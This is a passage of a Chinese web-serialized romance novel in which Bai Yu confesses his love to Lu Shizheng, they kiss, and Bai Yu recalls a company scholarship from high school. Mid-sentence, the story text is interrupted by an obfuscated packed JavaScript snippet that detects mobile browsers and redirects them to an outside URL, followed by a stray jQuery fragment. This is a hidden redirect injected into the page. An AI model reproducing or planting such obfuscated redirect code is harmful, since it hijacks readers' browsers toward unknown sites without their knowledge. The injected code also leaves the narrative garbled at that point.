虽然浴室好像不是非常适合第一次深吻,但情字上头,两个人都有点忘乎所以。
直到白榆几乎要喘不过气,陆时峥才慢慢放开他。
但那双手还纠缠在白榆的脖颈,把他的后颈捏得通红。
他对这里总是流连忘返。
白榆眼神都有些换散了,他靠在陆时峥的胸膛上,脸颊潮红,不知道是热的还是羞的。
毕竟,刚告白就深吻,这种刺激对于他这种清心寡欲三十年的人来说,还是太超过了。
陆时峥的手指炙热,在他后颈反复揉捏,揉得他慢慢放松下来。
白榆在他怀中动了一下,侧脸贴着他的左胸膛,仔细听他心跳的声音。
“好点了吗?”
陆时峥的声音喑哑,好像有些餍足,又好似未得到满足的压抑。
“嗯。”白榆轻轻回答。
陆时峥闭了闭眼,才低笑了一声:“这场景可真是,不太浪漫啊。”
听到这两个字,白榆才慢慢找回理智。
他艰难离开了陆时峥的怀抱,仰头看他。
明明他只比陆时峥矮几公分,可现在他双腿发软,都有点直不起腰。
“浪漫……”
白榆忽然瞪大眼睛。
陆时峥似乎也察觉了他的异样:“怎么了?”
白榆沉默两秒,叹了口气:“我本来还有准备的,结果一看到下雪就忘了。”
“哦?你为了对我告白,准备了什么?”
陆时峥懒洋洋捏着他的侧腰。
不痒,但让人无法集中精神。
白榆动了动,还是拉着他离开了浴室,这场景,实在不是能说正经是的地方。
虽然他们刚才也没干正经事。
白榆轻咳一声,拉着他回到客厅坐下。
陆时峥非常听话,任他摆布。
“学……”
不过白榆刚说一个字,他就冷哼一声:“叫错了。”
白榆抿了一下嘴唇,还是小声说:“时峥。”
陆时峥很喜欢听白榆叫他名字。
很软,很轻,听起来就有种缠绵悱恻,即便只有这两个字,都能感受到对方对他的爱意。
或许,私底下的时候,他练过无数次。
“时峥,”这一次,白榆顺畅很多,“你坐一会儿,等我。”
陆时峥就坐在沙发上,安静听他忙碌。
两个人刚刚互诉衷肠,现在陆时峥难得放松,他唇角带着笑,心情十分愉悦。
还有浑身都洋溢着幸福。
什么工作,什么集团,这一刻陆时峥脑子里就只剩下白榆一个人。
听着他在客厅里走来走去,忙忙碌碌。
一切都让人期待。
不多时,一股很好闻的香味蔓延开来。
陆时峥仔细嗅了嗅,感觉自己来到了挂满冰霜的松林里,前方小木屋矗立,昏黄的火光在窗户后面点亮,推开房门,能看到火炉上的烤橘子。
雪松香味和柑橘香气纠缠在一起,有点冷,又多了一点甜。
很好闻,很像是他们两个。
就在陆时峥刚嗅出这味道的时候,钢琴声响起。
唯一还摆在客厅的边柜上有一台唱片机。
陆时峥以前偶尔会听一下,不过他不太懂音乐,所以朋友们送了什么唱片,他就听什么。
多是传统音乐。
现在唱片机缓缓旋转,钢琴声音灵动,节奏缓慢悠扬,慢慢的节奏加快,好像有精灵在林间飞舞。
陆时峥回忆了一会儿,才开口:“月光?”
白榆笑了一声:“是。”
到了此时,他才回到陆时峥身边。
这一次,他挨着他坐下。
虽然还是有些不好意思,但他确实不想在此刻离开他。
“我没有过多布置客厅,怕妨碍你走路,思来想去,香味你能闻见,音乐你能听见,作为我告白的氛围……”
白榆声音微顿,然后看向陆时峥:“时峥,你觉得浪漫吗?”
音乐曲调上扬,节奏快了起来,一如两个人一般无二的心跳。
陆时峥在他的膝盖上,找到了他的手。
可能因为紧张,白榆的手还是有些冷。
“很浪漫。”
陆时峥说:“也很及时。”
“及时?”白榆不明所以。
“是啊,及时,”陆时峥挑了挑眉,歪头碰了一下他的脑袋,“你要是还不告白,我自己准备行动了。”
“到了那个时候,怕你吓哭。”
“我怎么会吓哭?”白榆窘迫,“时峥你要行动什么?”
陆时峥低笑了一声,他在白榆耳边说:“你猜?”
白榆感觉耳朵又要红了。
好烦,他怎么这么容易脸红。
还好现在陆时峥看不见……
然而还不等他有所反应,陆时峥就直接捏住了他滚烫的耳垂。
“以前岚姨说过,耳根子软的人怕老婆。”
陆时峥用了点力道,故意揉捏他的耳垂。
一阵阵的麻痒在心头窜起,白榆慢慢弯了腰,他的一句话都说不出来,呼吸慢慢变得沉重。
“不……”
陆时峥的手慢慢下滑,从毛衣的下摆钻进去,在他的后背上作怪。
一起落下来的,还有第二个深吻。
音乐激荡,在客厅里回响。
这刺激来得猝不及防,本来白榆都觉的缓和了下来,可忽然的,白榆只能发出模糊的哼声。
唱片机最后一个音符播放完,声音戛然而止。
只剩下交叠在一起的喘息声。
“给你一个体验版,”陆时峥意犹未尽,偏过脸,咬了一下他柔软的耳垂,“怎么样?满意吗?”
白榆的脸比耳垂还红。
他几乎有点想要逃离陆时峥的掌控,逃离让自己莫名失去控制的这个可怕的男人。
他完全不知道,陆时峥的真面目居然是这样的。
这样……乖张肆意,控制欲极强。
二十分钟前,他们刚刚告白。
可是现在,就已经……
这会不会太快了?
白榆头晕脑胀,却不想着反抗他,只疑惑地喃喃自语:“太快了吧?”
陆时峥侧耳倾听,哑然失笑。
“怎么会快呢?”
他捞过躲到一边的白榆,把他整个人禁锢在臂弯里。
“我们第一次同床共枕的时候,你是不是就对我图谋不轨了?”
“你……”
白榆惊讶抬头,就看到陆时峥满脸戏谑。
他顿时说不出话。
虽然还是不好意思,但……他心中其实是觉得很高兴的,甚至有一种终于能得偿所愿的战栗。
灵魂得到满足的,战栗。
白榆沉默片刻,还是把头靠在了陆时峥的肩膀上。
“时峥,”白榆慢慢问,“你是什么时候喜欢我的?”
陆时峥没有立即回答,两个人安静享受了这个激动过后的温暖拥抱。
“你呢?”
白榆沉默了。
这个问题,太难回答了。
他从所有的心动里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907415|209616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
挑出一个最容易说出口的。
“高二那一年,我过得很不好。”
其实是高一那一年,但在沈南星的故事里,家里是高二时出事的。
白榆只能按照这个故事继续讲述下去。
他声音轻柔,虽然今天没有饮酒,却好像已经醉了。
声音都有些低哑,不像平时的他。
“家里忽然出事,我很沮丧,当时我不确定能不能继续弹钢琴。”
他回忆起过往,说:“其实我可能也没那么喜欢弹钢琴,说天赋也算不上天赋,可毕竟学了那么多年,轻易放下总是舍不得。”
“我那时候很迷茫,加上跟同学关系不好,就一直独来独往。”
“其实挺孤单的,但我并不觉得,直到有一天,班主任找到我,说是陆氏集团可以资助困难学生,我家的情况她知道,可以申请资助金,帮助我完成三年高中学业,他希望我好好学习。”
“我当时非常,非常高兴。”
白榆说着,慢慢露出笑容。
“因为这一笔资助对我来说非常珍贵,让我不再迷茫前路,我只要好好学习就足够了。”
高中时代的白榆,也是靠着这一笔资助金,顺利考上大学。
他无比感谢陆时峥。
“我知道陆氏就是你家的产业,就偷偷去了高三年级,想找个机会要对你道谢。”
陆时峥安静听着,手里有一搭没一搭在他腰上抚摸。
“当时我还没上前,就看到有另一个同学当众对你说谢谢了。”
这其实要鼓起很大勇气的。
高中时代,学生们心智都不成熟,有些性格恶劣的少年人,喜欢拿别人的痛苦取乐。
“我很佩服她,但我也没敢上前。”
白榆很轻的笑了一声,并不是自嘲,只是诉说当时的心境,他很佩服那名女同学。
“那名同学说完,也不想要你回答,本来都准备走了,你却拦住了她。”
白榆扬了扬头,看向陆时峥干净俊朗的侧脸。
真好看啊,看了十几年,都看不腻。
“当时走廊挺热闹的,因为这一出插曲,其实都有点安静,你的声音特别清晰,所有人都能听见。”
“你说告诉她,陆氏集团的资助是要经过考试的,只有成绩优异的同学才能争取到机会。”
“你不应该感谢我,你应该感谢你足够优秀。”
时至今日,白榆都能倒背如流。
“那位同学挺坚强的,也不在乎别人的眼光,但被你这么一说,差点哭了。”
白榆呼了口气:“我很感谢你说了这两句话。”
当时的资助选拔考试不是公开的,谁得到了资助,谁没有得到,其实别人是完全不知情的,很好保护了学生的隐私。
甚至在那名学生道谢之前,许多人都不知道陆氏还有这一项慈善项目。
白榆并非天资聪颖的学生,他平平无奇,从小到大都不优秀,但他也争取到了陆氏的资助。
归根结底,陆氏当时根本就不是资助成绩优异的学生,而是给了大多数出身贫困家庭而又努力的孩子,一个能改变命运的机会。
白榆心里很清楚,陆氏为了这件事,一定做出了许多工作。
并非资助金的金额可以涵盖的。
联系学校,安排考试,一对一打款,这一项项,都是实打实的付出。
陆时峥听到这里,应了一声,他低垂下眉眼,好似在看白榆。
“所以,你对我一见钟情吗?”
白榆的回忆并未停止,他过了许久才说:“有可能。”